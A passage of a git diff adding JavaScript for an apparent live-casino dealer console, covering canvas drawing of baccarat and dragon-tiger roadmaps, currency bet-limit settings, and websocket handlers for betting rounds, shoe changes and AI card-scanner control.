ctb.fillStyle ="#242424"; + ctb.fillText(num,Font_x,Font_y); + ctb.stroke(); + } +} +function SoloPath(ctb,unit,x,y,type,corners,luckySix){ + ctb.beginPath(); + ctb.lineWidth = 0.5; + ctb.strokeStyle = "#000"; + var radius=unit/2||0; + if(type==1){ + var color='#b20a00'; + if(game_id == 2){ + var fonts = lang.dragon; + }else{ + if(luckySix == 1){ + var fonts = 6; + }else{ + var fonts = lang.banker; + } + } + ctb.strokeStyle = "#ff4a68"; + }else if(type==2){ + var color='#0543bc'; + if(game_id == 2){ + var fonts = lang.tiger; + }else{ + var fonts = lang.player; + } + ctb.strokeStyle = "#7e7df6"; + }else if(type==3){ + var color='#1d8701', + fonts= lang.tie; + ctb.strokeStyle = "#71df57"; + } + ctb.arc(radius+unit*(x-1), radius+unit*(y-1), unit*0.45, 0, Math.PI * 2); + ctb.fillStyle=color; + ctb.fill(); + ctb.font="bold "+unit*0.6+"px Arial"; + ctb.fillStyle ="#fff" ; // 颜色 + ctb.textAlign = 'center'; + ctb.textBaseline = 'middle'; + ctb.fillText(fonts,radius+unit*(x-1),radius+unit*(y-1)); + ctb.stroke(); + var corner_xy=unit/3.5 + if(corners==1){ + corner(ctb,unit,x,y,corner_xy,'#ff2202'); + }else if(corners==2){ + corner(ctb,unit,x,y,-corner_xy,'#0337ff'); + }else if(corners==3){ + corner(ctb,unit,x,y,corner_xy,'#ff2202'); + corner(ctb,unit,x,y,-corner_xy,'#0337ff'); + } +} +//角标 +function corner(ctb,unit,x,y,corner_xy,corner_color){ + var radius=unit/2 + ctb.beginPath(); + ctb.lineWidth = 0.5; + ctb.strokeStyle = "#fff"; + ctb.arc(radius+unit*(x-1)-corner_xy, radius+unit*(y-1)-corner_xy, unit*0.13, 0, Math.PI * 2); + ctb.fillStyle=corner_color; + ctb.fill(); + ctb.stroke(); +} +// 大路 +function BigPath(ctb,unit,x,y,type,slash,corners){ + ctb.beginPath(); + ctb.lineWidth = unit*0.15; + var radius=unit/2 + if(type==2){ + var color="#0543bc"; + }else if(type==1){ + var color="#b20a00" + } + ctb.strokeStyle = color; + ctb.arc(radius+unit*(x-1),radius+unit*(y-1), unit*0.38, 0, Math.PI * 2); + ctb.closePath() + ctb.stroke(); + if(slash!=0){ + ctb.beginPath(); + linewidth=unit*0.2; + ctb.lineWidth = 3;//线条宽度 + ctb.lineCap = "round"; + ctb.strokeStyle = "#1d8701";//线条颜色 + ctb.moveTo(radius+unit*(x-1)-linewidth,radius+unit*(y-1)+linewidth); + ctb.lineTo(radius+unit*(x-1)+linewidth,radius+unit*(y-1)-linewidth); + ctb.stroke(); + if(slash>0){ + Font_tie(ctb,slash,radius+unit*(x-1), radius+unit*(y-1),unit*0.66+"px Arial"); + } + } + var corner_xy=unit/3.5 + if(corners==1){ + corner(ctb,unit,x,y,corner_xy,'#ff2202'); + }else if(corners==2){ + corner(ctb,unit,x,y,-corner_xy,'#0337ff'); + }else if(corners==3){ + corner(ctb,unit,x,y,corner_xy,'#ff2202'); + corner(ctb,unit,x,y,-corner_xy,'#0337ff'); + } +} + +// 大路 第一局 和 +function BigPathTie(ctb,unit,order){ + ctb.beginPath(); + ctb.lineWidth = 2.5;//线条宽度 + ctb.strokeStyle = "#3faa96";//线条颜色 + ctb.lineCap = "round"; + ctb.moveTo(unit*0.15,unit/2); + ctb.lineTo(unit*0.85,unit/2); + ctb.stroke(); + Font_tie(ctb,order,unit/2, unit/2,unit*0.55+"px Arial"); +} +// 大眼路 +function BigeyePath(ctb,unit,x,y,type){ + ctb.beginPath(); + ctb.lineWidth = unit*0.10; + var radius=unit/2 + if(type==2){ + var color="#0543bc"; + }else if(type==1){ + var color="#b20a00" + } + ctb.strokeStyle = color; + ctb.arc(radius/2+radius*(x-1),radius/2+radius*(y-1), unit*0.17, 0, Math.PI * 2); + ctb.closePath() + ctb.stroke(); +} +// 三星路 +function sanxingPath(ctb,unit,start_x,x,y,type){ + ctb.beginPath(); + ctb.lineWidth = unit*0.15; + if(type==2){ + var color="#0543bc"; + }else if(type==1){ + var color="#b20a00" + } + ctb.strokeStyle = color; + ctb.arc(start_x*unit+unit*(x-1),unit*3.5+unit*(y-1), unit*0.38, 0, Math.PI * 2); + ctb.closePath() + ctb.stroke(); +} +//小路 +function LittlePath(ctb,unit,x,y,type){ + ctb.beginPath(); + ctb.lineWidth = 0; + var radius=unit/2 + if(type==2){ + var color="#0543bc"; + }else if(type==1){ + var color="#b20a00" + } + ctb.strokeStyle = color; + ctb.fillStyle=color; + ctb.arc(radius/2+radius*(x-1),unit*3.25+radius*(y-1), unit*0.16, 0, Math.PI * 2); + ctb.closePath() + ctb.stroke(); + ctb.fill(); +} +function CockrochPath(ctb,unit,start_x,x,y,type){ + var radius=unit/2, + linewidth=unit*0.16; + ctb.beginPath(); + ctb.lineCap = "round"; + ctb.lineWidth = 4;//线条宽度 + if(type==2){ + var color="#0543bc"; + }else if(type==1){ + var color="#b20a00" + } + ctb.strokeStyle = color; + ctb.moveTo(start_x*unit+radius*(x-1)-linewidth,radius/2+radius*(y-1)+linewidth); + ctb.lineTo(start_x*unit+radius*(x-1)+linewidth,radius/2+radius*(y-1)-linewidth); + ctb.stroke(); +} + +function getResultToatl (BootId){ + var query = new Object(); + query.table_id = table_id; + query.boot_id = BootId; + $.ajax({ + url:'/index/get_result_total', + data:query, + dataType:"json", + type:"POST", + async:false, + success:function(data){ + if(data.code == 1){ + var resultToatl = data.data; + $('#result_total_player').html(resultToatl.player); + $('#result_total_banker').html(resultToatl.banker); + $('#result_total_tie').html(resultToatl.tie); + if(game_id == 1){ + $('#result_total_bankerpair').html(resultToatl.bankerPair); + $('#result_total_playerpair').html(resultToatl.playerPair); + $('#result_total_luckysix').html(resultToatl.luckySix); + } + } + } + }); +} +var showForecast = function(){ + var len = 0; + // 庄自动问路 + var bankerResult = getLudanBanker(); + if(bankerResult.status == true){ + var bankerResult = bankerResult.waybill; + // 大眼路 + if(bankerResult.bigEyeRoad!=""){ + len = bankerResult.bigEyeRoad.length - 1; + if(bankerResult.bigEyeRoad[len].result == 1){ + $('#bankerask').find('.circle').css('border-color','#b20a00').css('display','block'); + }else if(bankerResult.bigEyeRoad[len].result == 2){ + $('#bankerask').find('.circle').css('border-color','#0543bc').css('display','block'); + } + } + // 小路 + if(bankerResult.pathway!=""){ + len = bankerResult.pathway.length - 1; + if(bankerResult.pathway[len].result == 1){ + $('#bankerask').find('.round').css('border-color','#b20a00').css('background-color','#b20a00').css('display','block'); + }else if(bankerResult.pathway[len].result == 2){ + $('#bankerask').find('.round').css('border-color','#0543bc').css('background-color','#0543bc').css('display','block'); + } + } + // 曱甴路 + if(bankerResult.roach!=""){ + len = bankerResult.roach.length - 1; + if(bankerResult.roach[len].result == 1){ + $('#bankerask').find('.bar').removeClass('blue').removeClass('red'); + $('#bankerask').find('.bar').addClass('red').css('display','block'); + }else if(bankerResult.roach[len].result == 2){ + $('#bankerask').find('.bar').removeClass('blue').removeClass('red'); + $('#bankerask').find('.bar').addClass('blue').css('display','block'); + } + } + } + // 闲自动问路 + var playerResult = getLudanPlayer(); + if(playerResult.status == true){ + var playerResult = playerResult.waybill; + // 大眼路 + if(playerResult.bigEyeRoad!=""){ + var len = playerResult.bigEyeRoad.length - 1; + if(playerResult.bigEyeRoad[len].result == 1){ + $('#playerask').find('.circle').css('border-color','#b20a00').css('display','block'); + }else if(playerResult.bigEyeRoad[len].result == 2){ + $('#playerask').find('.circle').css('border-color','#0543bc').css('display','block'); + } + } + // 小路 + if(playerResult.pathway!=""){ + len = playerResult.pathway.length - 1; + if(playerResult.pathway[len].result == 1){ + $('#playerask').find('.round').css('border-color','#b20a00').css('background-color','#b20a00').css('display','block'); + }else if(playerResult.pathway[len].result == 2){ + $('#playerask').find('.round').css('border-color','#0543bc').css('background-color','#0543bc').css('display','block'); + } + } + // 曱甴路 + if(playerResult.roach!=""){ + len = playerResult.roach.length - 1; + if(playerResult.roach[len].result == 1){ + $('#playerask').find('.bar').removeClass('blue').removeClass('red'); + $('#playerask').find('.bar').addClass('red').css('display','block'); + }else if(playerResult.roach[len].result == 2){ + $('#playerask').find('.bar').removeClass('blue').removeClass('red'); + $('#playerask').find('.bar').addClass('blue').css('display','block'); + } + } + } +}; +// 换靴时隐藏自动问路 +var hiddenForecast = function(){ + $('#bankerask').find('.circle').css('display','none'); + $('#bankerask').find('.round').css('display','none'); + $('#bankerask').find('.bar').css('display','none'); + $('#playerask').find('.circle').css('display','none'); + $('#playerask').find('.round').css('display','none'); + $('#playerask').find('.bar').css('display','none'); +} +var getLudanBanker = function(){ + var next = new Object; + next.boot_id = $('#boot_id').val(); + next.game_id = game_id; + next.forecast = 1; + $.ajax({ + url:"/index/waybill", + type:"POST", + dataType:"JSON", + data:next, + async:false, + success:function(data){ + askData = data; + } + }); + return askData; +} +//闲问路 +var getLudanPlayer = function(){ + var next = new Object; + next.boot_id = $('#boot_id').val(); + next.game_id = game_id; + next.forecast = 2; + $.ajax({ + url:"/index/waybill", + type:"POST", + dataType:"JSON", + data:next, + async:false, + success:function(data){ + askData = data; + } + }); + return askData; +} + +function confirmResult(id,result){ + $('.control-box .btn-box2 span').eq(0).removeClass('on'); + $('.control-box .btn-box2 span').eq(1).removeClass('on'); + $('.control-box .btn-box2 span').eq(2).removeClass('on'); + var is_on=$("#"+id).hasClass("on"); + if(is_on){ + $("#"+id).removeClass("on") + }else{ + $("#"+id).addClass("on") + } + $('#opening').val(result); +} +function confirmResultPair(id,result){ + if(result == 1){ + if($('#result_banker_pair').val() == 0){ + $("#"+id).addClass("on") + $('#result_banker_pair').val(1); + }else{ + $("#"+id).removeClass("on") + $('#result_banker_pair').val(0); + } + }else if(result == 2){ + if($('#result_player_pair').val() == 0){ + $("#"+id).addClass("on") + $('#result_player_pair').val(2); + }else{ + $("#"+id).removeClass("on") + $('#result_player_pair').val(0); + } + }else{ + layer.msg(lang.data_error); + } +} +function setCurrencyLimit(){ + var currencyArr = [] + $('input[name="currencyType"]:checked').each(function(){ + currencyArr.push($(this).val()) + }); + var limit_bp = ''; + var limit_tie = ''; + var cnyLimit_bp = ''; + var cnyLimit_tie = ''; + var usdLimit_bp = ''; + var usdLimit_tie = ''; + if(game_id == 1){ + var cnyLimit_pair = ''; + var usdLimit_pair = ''; + } + + if($.inArray('CNY',currencyArr) >= 0){ + window.localStorage.setItem(table_id+"_CNY",'1') + + var cny_limit_bp = $('#cny_limit_bp').val(); + window.localStorage.setItem(table_id+"_cny_limit_bp",cny_limit_bp) + cnyLimit_bp = 'CNY:'+cny_limit_bp + + var cny_limit_tie = $('#cny_limit_tie').val(); + window.localStorage.setItem(table_id+"_cny_limit_tie",cny_limit_tie) + cnyLimit_tie = 'CNY:'+cny_limit_tie + + if(game_id == 1){ + var cny_limit_pair = $('#cny_limit_pair').val(); + window.localStorage.setItem(table_id+"_cny_limit_pair",cny_limit_pair) + cnyLimit_pair = 'CNY:'+cny_limit_pair + } + }else{ + window.localStorage.setItem(table_id+"_CNY",'') + window.localStorage.setItem(table_id+"_cny_limit_bp",'') + window.localStorage.setItem(table_id+"_cny_limit_tie",'') + if(game_id == 1){ + window.localStorage.setItem(table_id+"_cny_limit_pair",'') + } + } + if($.inArray('USD',currencyArr) >= 0){ + window.localStorage.setItem(table_id+"_USD",'1') + + var usd_limit_bp = $('#usd_limit_bp').val(); + window.localStorage.setItem(table_id+"_usd_limit_bp",usd_limit_bp) + usdLimit_bp = 'USD:'+usd_limit_bp + + var usd_limit_tie = $('#usd_limit_tie').val(); + window.localStorage.setItem(table_id+"_usd_limit_tie",usd_limit_tie) + usdLimit_tie = 'USD:'+usd_limit_tie + + if(game_id == 1){ + var usd_limit_pair = $('#usd_limit_pair').val(); + window.localStorage.setItem(table_id+"_usd_limit_pair",usd_limit_pair) + usdLimit_pair = 'USD:'+usd_limit_pair + } + }else{ + window.localStorage.setItem(table_id+"_USD",'') + window.localStorage.setItem(table_id+"_usd_limit_bp",'') + window.localStorage.setItem(table_id+"_usd_limit_tie",'') + if(game_id == 1){ + window.localStorage.setItem(table_id+"_usd_limit_pair",'') + } + } + limit_bp = cnyLimit_bp + '  ' + usdLimit_bp; + $('.showLimitBP').html(limit_bp) + limit_tie = cnyLimit_tie + '  ' + usdLimit_tie + $('.showLimitTie').html(limit_tie) + if(game_id == 1){ + limit_pair = cnyLimit_pair + '  ' + usdLimit_pair + $('.showLimitPair').html(limit_pair) + } +} +function checkLimit(){ + var cny = window.localStorage.getItem(table_id+"_CNY") + if(cny){ + $('input[name=currencyType][value=CNY]').prop('checked',true) + }else{ + $('input[name=currencyType][value=CNY]').prop('checked',false) + } + var usd = window.localStorage.getItem(table_id+"_USD") + if(usd){ + $('input[name=currencyType][value=USD]').prop('checked',true) + }else{ + $('input[name=currencyType][value=USD]').prop('checked',false) + } + var cny_limit_bp = window.localStorage.getItem(table_id+"_cny_limit_bp") + $('#cny_limit_bp').val(cny_limit_bp) + var cny_limit_tie = window.localStorage.getItem(table_id+"_cny_limit_tie") + $('#cny_limit_tie').val(cny_limit_tie) + if(game_id == 1){ + var cny_limit_pair = window.localStorage.getItem(table_id+"_cny_limit_pair") + $('#cny_limit_pair').val(cny_limit_pair) + } + + var usd_limit_bp = window.localStorage.getItem(table_id+"_usd_limit_bp") + $('#usd_limit_bp').val(usd_limit_bp) + var usd_limit_tie = window.localStorage.getItem(table_id+"_usd_limit_tie") + $('#usd_limit_tie').val(usd_limit_tie) + if(game_id == 1){ + var usd_limit_pair = window.localStorage.getItem(table_id+"_usd_limit_pair") + $('#usd_limit_pair').val(usd_limit_pair) + } + + var limit_bp = ''; + var limit_tie = ''; + if(game_id == 1){ + var limit_pair = ''; + } + if(cny){ + limit_bp += "CNY:"+cny_limit_bp + limit_tie += "CNY:"+cny_limit_tie + if(game_id == 1){ + limit_pair += "CNY:"+cny_limit_pair + } + } + if(usd){ + limit_bp += " USD:"+usd_limit_bp + limit_tie += " USD:"+usd_limit_tie + if(game_id == 1){ + limit_pair += " USD:"+usd_limit_pair + } + } + if(!limit_bp){ + limit_bp = ' ' + } + if(!limit_tie){ + limit_tie = ' ' + } + if(game_id == 1){ + if(!limit_pair){ + limit_pair = ' ' + } + } + + $('.showLimitBP').html(limit_bp) + $('.showLimitTie').html(limit_tie) + if(game_id == 1){ + $('.showLimitPair').html(limit_pair) + } + + + +} diff --git a/public/static/handle/js/handle_b_sb.js b/public/static/handle/js/handle_b_sb.js new file mode 100644 index 0000000..1dd7fa7 --- /dev/null +++ b/public/static/handle/js/handle_b_sb.js @@ -0,0 +1,2764 @@ +var userid = parseInt($('#userid').val()); +var login_token = $('#login_token').val(); +var table_id = parseInt($('#table_id').val()); +var game_id = parseInt($('#game_id').val()); +var account = $('#account').val(); +var number_tab_id; +var ludan; +var isCBoot = false; +var isopentime = false; +var num = 0; +var card_info=[]; +var isWin={ + win_player_1:null, + win_player_2:null, + win_player_3:null, + text:[] +}; + +// 识别相关 +var position = ['11', '12', '21', '22', '13', '23']; +var stopScan = false; +var scanTask = null; +var scanPosition = 1; +if (game_id == 4) { + scanPosition = 21; // 定位牌 +} + +// NN识别相关 +var scanDefaultPosition = 'P1'; // 默认定位区 +var positionScanTask = null; +var isPositionScaned = false; +var positionCard = 0; +var isCardScaned = false; +var currentPositionToChange = -1; + +// 百家乐修改相关 +var manualStopAi = false; + + +var initScanParams = function() { + clearInterval(scanTask); + scanTask = null; + stopScan = false; + scanPosition = 1; + if (game_id == 4) { + scanPosition = 21; + } + scanDefaultPosition = 'P1'; + clearInterval(positionScanTask); + positionScanTask = null; + + isPositionScaned = false; + positionCard = 0; + isCardScaned = false; + currentPositionToChange = -1; + + manualStopAi = false; + + $(".countdown").css({"opacity":0,"display":"none"}); + $(".countdown .grab-count").removeClass("count-active"); +} +// 百家乐修改牌 +var openAllCardsPanel = function(dom) { + var positionOfCard = parseInt($(dom).attr('data-position')); + + if (positionOfCard > 0) { + if (manualStopAi) { + // 11, 12, 21, 22, 13, 23 + currentPositionToChange = positionOfCard; + if (currentPositionToChange == 23) { // 庄补 + $('#change_cards').show(); + } else if (currentPositionToChange == 13) { // 第一张补牌 + if (card_info['banker_3'] == undefined || card_info['banker_3'] == '') { + $('#change_cards').show(); + } else { + layer.msg('庄已补,不能修改。'); + } + } else { // 庄闲位置 + if ((card_info['player_3'] == undefined || card_info['player_3'] == '') && (card_info['banker_3'] == undefined || card_info['banker_3'] == '')) { + $('#change_cards').show(); + } else { + layer.msg('已补牌,不能修改。'); + } + } + } else { + layer.msg('请先手动停止AI识别。'); + } + + } +} +var changeErrSbCard = function() { + var poker = $("input[name='cardToChanged']:checked").val(); + var positionNum = 0; + + layer.confirm(lang.confirm_to_change_card,{btn: [lang.confirm,lang.cancel],title:lang.message}, function(index){ + if (currentPositionToChange <= 0 ) { + layer.msg('出错。请刷新重试。'); + $('#change_cards').hide(); + return false; + } + + console.log('currentPositionToChange:' + currentPositionToChange); + + var query = new Object(); + + query.card = poker; + query.position = currentPositionToChange; + query.change = 1; + sendScanBaccarat(query, 1); + $('input:checked').removeAttr('checked'); + $('#change_cards').hide(); + layer.close(index); + }); +} +var cancelChangeErrSbCard = function() { + $('input:checked').removeAttr('checked'); + $('#change_cards').hide(); +} +// + +var websocket = io(websocketProtocol+"://"+websocketUrl+"/?table_id="+table_id+"&account="+account+"&connect=space&userid="+userid+"&login_token="+login_token,{transports: ['websocket']}); +websocket.on('reconnecting', (timeout) => { + //触发重连 + layer.msg('服务断开,正在重新连接...', { + icon: 16, + shade: 0.6, + time:0, + }); +}); +websocket.on('reconnect', (timeout) => { + //重连成功 + layer.closeAll(); + layer.msg('服务重新连接成功'); +}); +//事件 发送******************************************************************************************************************* +var startBet = function(){ + sbSocket.emit("stop",{"tableCode":casinoTableId, "type":"SYS"}); + websocket.emit('startBet',{table_id : table_id, number_tab_id : number_tab_id}); +}; +var endBet = function (){ + websocket.emit('endBet',{table_id : table_id, number_tab_id : number_tab_id}); +}; +var startRob = function(){ + websocket.emit('startRob',{table_id : table_id, number_tab_id : number_tab_id}); +}; +var endRob = function(){ + websocket.emit('endRob',{table_id : table_id, number_tab_id : number_tab_id}); +}; + +// 重新SB +var restartSB = function(){ + manualStopAi = false; + sbSocket.emit('start', {'tableCode': casinoTableId, 'type': 'SYS', 'biz': number_tab_id}); +}; +var stopSB = function(){ + manualStopAi = true; + sbSocket.emit("stop",{"tableCode":casinoTableId, "type":"SYS"}); +}; + +var resetNumberTab = function(){ + isCBoot = true; + var betStatus = $("#number_tab_status").val(); + if(betStatus == 1 || betStatus == 2){ + layer.confirm(lang.is_reset_number,{btn: [lang.confirm,lang.cancel],title:lang.message}, function(index){ + websocket.emit('resetNumberTab',{table_id : table_id}); + isCBoot = false; + layer.close(index); + },function(index){ + isCBoot = false; + }); + }else{ + layer.msg(lang.reset_number_fail); + } +}; +var changeBoot = function(){ + isCBoot = true; + var betStatus = $("#number_tab_status").val(); + if(betStatus == 0 || betStatus == 3){ + layer.confirm(lang.is_to_boot,{btn: [lang.confirm,lang.cancel],title:lang.message}, function(index){ + websocket.emit('changeBoot',{table_id : table_id}); + isCBoot = false; + layer.close(index); + },function(index){ + isCBoot = false; + }); + }else{ + layer.msg(lang.change_boot_false); + } +}; +var resetBoot = function(){ + layer.confirm(lang.is_to_balance,{btn: [lang.confirm,lang.cancel],title:lang.message}, function(index){ + websocket.emit('resetBoot',{table_id : table_id}); + layer.close(index); + }); +}; +var opening = function(){ + $('.control-box .btn-box2 span').removeClass('on'); + if(game_id == 1){ + websocket.emit('openingBaccarat',{table_id : table_id, number_tab_id : number_tab_id}); + }else if(game_id == 2){ + websocket.emit('openingDt',{table_id : table_id, number_tab_id : number_tab_id}); + }else if(game_id == 4){ + websocket.emit('openingNn',{table_id : table_id, number_tab_id : number_tab_id}); + }else if(game_id == 5){ + websocket.emit('openingTc',{table_id : table_id, number_tab_id : number_tab_id}); + }else if(game_id == 6){ + let result = parseInt($('#toning_result').val()); + if (result == 0 || result == 1 || result == 2 || result == 3 || result == 4){ + websocket.emit('openingToning',{table_id : table_id, number_tab_id : number_tab_id, result : result}); + } + }else if(game_id == 7){ + let result = $('#dice_result').val(); + websocket.emit('openingDice',{table_id : table_id, number_tab_id : number_tab_id, result : result}); + } +}; + +// 百家乐发送数据 +var sendScanBaccarat = function(data, isChange = 0) { + if (isChange == 1) { + websocket.emit('sendScanBaccarat', + {table_id : table_id, number_tab_id : number_tab_id, card : data.card, position : data.position, change: data.change}); + } else { + websocket.emit('sendScanBaccarat', + {table_id : table_id, number_tab_id : number_tab_id, card : data.card, position : data.position}); + } +} + +// 龙虎发送数据 +var sendScanDt = function(data) { + websocket.emit('sendScanDt', + {table_id : table_id, number_tab_id : number_tab_id, card : data.card, position : data.position}); +} + +// 牛牛发送数据 +var sendScanNn = function(data) { + websocket.emit('sendScanNn', + {table_id : table_id, number_tab_id : number_tab_id, card : data.card, position : data.position}); +} + +// 色碟显示 +var showToningBox = function (){ + $('#toning_result_box').fadeIn(); +} +var hideToningBox = function (){ + $('#toning_result_box').fadeOut(); +} +// 骰宝显示 +var showDiceBox = function (){ + $('#dice_box').fadeIn(); +} +var hideDiceBox = function (){ + $('#dice_box').fadeOut(); +} +//事件 发送******************************************************************************************************************* +//事件返回********************************************************************************************************************* +websocket.on('onlineLogin',function(data){ + if (data.table_id === table_id) { + if(data.status === true){ + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status) + clearBetAmount(); + waybillFunc(); + if (data.round.number_tab_status.bet_status != undefined && data.round.number_tab_status.bet_status == 2){ + if(game_id == 4 || game_id == 5){ + showCardNn(data.round.show_card); + }else{ + showCard(data.round.show_card); + } + } + }else{ + layer.msg(lang[data.msg],{time:0}); + } + } + +}); +websocket.on('RepeatedEntry',function(data){ + websocket.close(); + layer.msg(lang[data.msg]); + setTimeout(function (){ + window.location.href='/login/logout'; + },2000); +}); +websocket.on('startBet',function(data){ + if(data.status === true && data.table_id === table_id){ + mp3List = ['start.mp3']; + audioMp3(mp3List).Play(); + setBetStatus(data.round.number_tab_status); + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('startRob',function(data){ + if(data.status === true && data.table_id == table_id){ + mp3List = ['start_rob.mp3']; + audioMp3(mp3List).Play(); + $("#number_rob_status").val(1); + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('startRobCountDown',function(data){ + if(data.status === true && data.table_id == table_id && data.count_down >= 0){ + $('.nobegin-tip').html('抢庄中'); + countDownRob(data.count_down); + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('endRob',function(data){ + $('.nobegin-tip').html(''); + if(data.status === true && data.table_id == table_id){ + $('#number_rob_status').val(2); + startBet(); + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); + +websocket.on('sendScanChangeResult',function(data){ + if (game_id == 4 && data.status == false) { + layer.msg(data.msg); + } +}); + +websocket.on('sendScanResult',function(data){ + if(data.status === true && data.table_id == table_id){ + if(game_id == 1 || game_id == 2){ + Flop(data); + + // 识别相关 + if (scanner_type == 2 && game_id == 1 && data.round != undefined && data.round.position != undefined){ + var _position = parseInt(data.round.position); + switch(_position) { + case 11: + scanPosition = 2; + break; + case 12: + scanPosition = 3; + break; + case 21: + scanPosition = 4; + break; + case 22: + scanPosition = 5; + break; + case 13: + scanPosition = 6; + break; + case 23: + initScanParams(); + break; + } + } + }else if(game_id==4||game_id==5){ + if(data.round.position == 0){ + flop_position(data); + }else{ + // 识别相关 + if (scanner_type == 2 && game_id == 4) { + if (data.round.position == 20) { + scanPosition = 21; + scanDefaultPosition = 'P1'; + clearInterval(scanTask); + scanTask = null; + + clearInterval(positionScanTask); + positionScanTask = null; + + isPositionScaned = false; + isCardScaned = true; + } else { + var _position = data.round.position; + + switch (scanDefaultPosition) { + case 'P2': + if (_position < 15) { + scanPosition = _position + 6; + } else { + scanPosition = _position - 14; + } + break; + case 'P3': + if (_position < 10) { + scanPosition = _position + 11; + } else { + scanPosition = _position - 9; + } + break; + case 'B': + if (_position < 5) { + scanPosition = _position + 16; + } else { + scanPosition = _position -4; + } + break; + default: + scanPosition = _position + 1; + } + + if (scanPosition > 20) { + scanPosition = 1; + } + } + } + // + flop_card(data); + } + } + } + /*else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + }*/ +}); +websocket.on('resetNumberTab',function(data){ + if(data.status === true && data.table_id == table_id){ + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status); + clearBetAmount(); + + // 识别相关 + if (scanner_type == 2) { + initScanParams(); + } + // + + $(".countdown").css({"opacity":0,"display":"none"}); + $(".countdown .grab-count").removeClass("count-active"); + $(".begincard .box").animate({"opacity":"0"},function(){ + $(".begincard").fadeOut(); + + $(".table-info .nobegin-tip").fadeIn(); + $('.box1').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box2').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box3').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box4').css("background-color","rgba(0, 0, 0, 0.5)"); + $(".begincard .box .list .card").removeClass("begin") + $(".begincard .card .topleft").html("") + $(".begincard .card .bottomright").html("") + $(".list .card .face").css("background-image","") + $(".begincard .list .draw .rotate").css("display",'none'); + }); + card_info=[]; + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('changeBoot',function(data){ + if(data.status === true && data.table_id == table_id){ + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status); + clearBetAmount(); + waybillFunc(); + card_info = []; + + // 识别相关 + if (scanner_type == 2) { + initScanParams(); + } + // + + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('resetBoot',function(data){ + if(data.status === true && data.table_id == table_id){ + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status); + clearBetAmount(); + waybillFunc(); + card_info = []; + + // 识别相关 + if (scanner_type == 2) { + initScanParams(); + } + // + + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('startBetCountDown',function(data){ + if(data.status == true && data.table_id == table_id){ + countDown(data.count_down); + } +}); +websocket.on('endBet',function(data){ + if(data.status === true && data.table_id == table_id){ + $(".countdown").css({"opacity":0,"display":"none"}); + $(".countdown .grab-count").removeClass("count-active"); + mp3List = ['stop_2.mp3']; + audioMp3(mp3List).Play(); + if(game_id == 4 || game_id == 5){ + $(".banker_result").html(''); + $(".player_1_result").html(''); + $(".player_2_result").html(''); + $(".player_3_result").html(''); + } + if(game_id == 6){ + $('#toning_result').val(''); + $(".toning-result-num").removeClass("active"); + } + $(".countdown").css({"opacity":0,"display":"none"}); + $(".countdown .grab-count").removeClass("count-active"); + setBetStatus(data.round.number_tab_status); + + // 识别相关 + if (scanner_type == 2 && game_id == 1) { + //doScanCards(); + + sbSocket.emit('start', {'tableCode': casinoTableId, 'type': 'SYS', 'biz': number_tab_id}); + //sbSocket.emit("scanCardWithIndex",{"tableCode": casinoTableId, "index":1, 'type': 'SYS', "biz": number_tab_id}) + + } else if (scanner_type == 2 && game_id == 2) { + doDtScanCards(); + } else if (scanner_type == 2 && game_id == 4) { + doNnScanPositionCard(); + doNnScanCards(); + } + // + + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('openingBaccarat',function(data){ + if(data.status === true && data.table_id == table_id){ + showPng(data.round.opening,data.round.pair); + gameResult(data); + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status); + clearBetAmount(); + waybillFunc(); + sbCardsInfo = [[], [], [], [], [], []]; + //sbSocket.emit("stopData",{"tableCode":casinoTableId, "type":"SYS"}); + sbSocket.emit("stop",{"tableCode":casinoTableId, "type":"SYS"}); + // 识别相关 + if (scanner_type == 2) { + initScanParams(); + } + // + + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('openingDt',function(data){ + if(data.status === true && data.table_id == table_id){ + showPngDt(data.round.opening); + gameResult(data); + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status); + clearBetAmount(); + waybillFunc(); + + // 识别相关 + if (scanner_type == 2) { + initScanParams(); + } + // + + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('openingNn',function(data){ + if(data.status === true && data.table_id == table_id){ + $('#number_tab_status').val(0); + $('#number_rob_status').val(0); + setNumberInfo(data.round); + $('.box1').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box2').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box3').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box4').css("background-color","rgba(0, 0, 0, 0.5)"); + gameResultNn(data); + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('openingTc',function(data){ + if(data.status === true && data.table_id == table_id){ + $('#number_tab_status').val(0); + $('#number_rob_status').val(0); + setNumberInfo(data.round); + $('.box1').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box2').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box3').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box4').css("background-color","rgba(0, 0, 0, 0.5)"); + gameResultNn(data); + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('openingToning',function(data){ + if(data.status === true && data.table_id == 